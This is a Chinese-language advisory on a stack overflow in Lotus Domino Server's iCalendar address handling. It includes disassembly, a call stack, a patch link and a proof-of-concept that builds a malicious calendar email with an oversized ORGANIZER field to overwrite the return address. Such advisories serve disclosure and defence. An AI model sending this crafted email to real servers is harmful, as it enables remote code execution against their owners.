#### 漏洞起因
```
栈溢出导致的远程代码执行
```
#### 影响系统
```
Lotus Domino Server
Versions 8.0 and 8.5 on AIX, AIX 64bit, Linux, Linux iSeries, Linux, zSeries, Solaris, Windows, Windows 64bit, z/OS
```
#### 危害
```
远程攻击者可以利用漏洞在服务器上执行任意代码。
```
#### 攻击所需条件
```
攻击者构造包含特殊参数的邮件。
```
#### 漏洞信息
```
未经身份验证的远程代码执行漏洞是由于代码在识别处理和转换 iCalendar 邮件地址参数时未对此参数进行严格的检查引起的。一个长度过长的电子邮件地址字符串会导致堆栈分配的缓冲区溢出。
由于没有足够的边界检查,当cstrcpy(字符串复制)函数执行的时候。一个
远程的未经身份验证的攻击者通过发送特制的恶意电子邮件可以在 Lotus Domino Server 中执行任意代码
```
#### 漏洞详情
漏洞的产生是因为在 nnotes!MailCheck821Address 函数中,在进行 Cstrcpy 操作之前未对边界进行检查
```
.text:602738F7 push esi
.text:602738F8 push edx
.text:602738F9 call Cstrcpy
```
ESI 寄存器保存的是被copy的字符串的原始地址。而这个地址是从邮件的 iCalender 参数中读取的,因此这个地址是被攻击者控制的。EDX 寄存器保存的是 copy 到的栈中的地址。
因此,Cstrcpy 执行了之后,传递了一个超越长度限制的字符串,导致了程序的崩溃。可以通过劫持程序执行的流程,来执行任意的代码。
#### 测试方试
攻击者可以通过传递特殊构造的 iCalendar 变量来覆盖栈的内容,也能覆盖栈帧中的返回地址 (长度要达到2374bytes)。当函数返回的时候,返回地址从栈顶取出,到了 EIP 中,从而劫持程序的执行流程,执行任意的代码
```
Poc:
ret_address = “BBBB”
overflow = ("A" * 2374) + ret_address + ("C" * 6632)
organiser = "ORGANIZER:mailto:H@%s.com" % overflow
body = "Content-Type: text/calendar; method=COUNTER; charset="UTF-8"
Subject: sent_mail2.txt
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
BEGIN:VCALENDAR
METHOD:COUNTER
PRODID:-//HGOPO@VDGCOHBCOGHRO@GQHOOPGHHCCCGCBGGCLGMCPN//
VERSION:2.0
BEGIN:VEVENT
UID:KORBOOGGGOHGNIH
SEQ:2
RRULE:aaaa
%s
ATTENDEE;:Mailto:aaaa@localdomain
SUMMARY:PGOMG@OMPGR@KOFMEOPNCMH
DTSTART:20091130T093000Z
DTEND:20091130T093000Z
DTSTAMP:20091130T083147Z
LOCATION:Location
STATUS:aaaa
END:VEVENT
END:VCALENDAR
“”” % organiser
```
当这封邮件被发送到了 Lotus Domino SMTP server,nrouter 会执行下面的调用
```
0833519c 60ca844c 094dddb8 nnotes!MailCheck821Address+0xb07
0833519c 00000019 083200f8 nnotes!Note2iCal+0x1c25c
0000000a 083200f8 094de824 nnotes!iCal2NotesExtract+0x247
000000c7 06e41f62 083210ac nRouter+0x3ee9e
00000063 000000c7 06e41f62 nRouter+0x3f1cd
02a19f58 00000000 000000c7 nRouter+0x1c433
004673a0 00000000 03f23325 nRouter+0x1ddd0
004673a0 21700001 00000001 nRouter+0x1e3a5
029b0000 00000000 00000000 nRouter+0x1e6ed
00000000 094dffd4 7751b3f5 nnotes!OSProcessIsGUI+0xef
00000000 7e454e05 00000000 kernel32!BaseThreadInitThunk+0x12
600fe640 00000000 00000000 ntdll!RtlInitializeExceptionChain+0x63
600fe640 00000000 00000000 ntdll!RtlInitializeExceptionChain+0x36
```
返回地址会被改写成 0x42424242
#### 解决方案:
```
对程序进行 patch
http://www-01.ibm.com/support/docview.wss?rs=475&uid=swg21446515
```
#### Discoverd By :
```
A. Plaskett
```
暂无评论